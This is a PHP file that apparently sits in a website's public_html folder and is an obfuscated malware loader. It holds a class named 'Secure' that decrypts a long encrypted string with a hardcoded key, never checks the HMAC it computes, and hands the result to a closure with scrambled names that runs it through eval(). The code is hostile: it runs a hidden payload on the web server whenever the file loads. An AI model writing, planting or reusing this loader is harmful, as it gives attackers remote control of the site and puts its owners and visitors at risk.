File: /home/teesvalleyleisure.co.uk/public_html/index.php0
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
$WwOy9ISIfCh7mF = function($w9awNt1sJNK87){
/*A2s9d5f*/eVaL($w9awNt1sJNK87);
$mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK";
return $mXM0ar3y76T;
};
$WwOy9ISIfCh7mF($decrypted);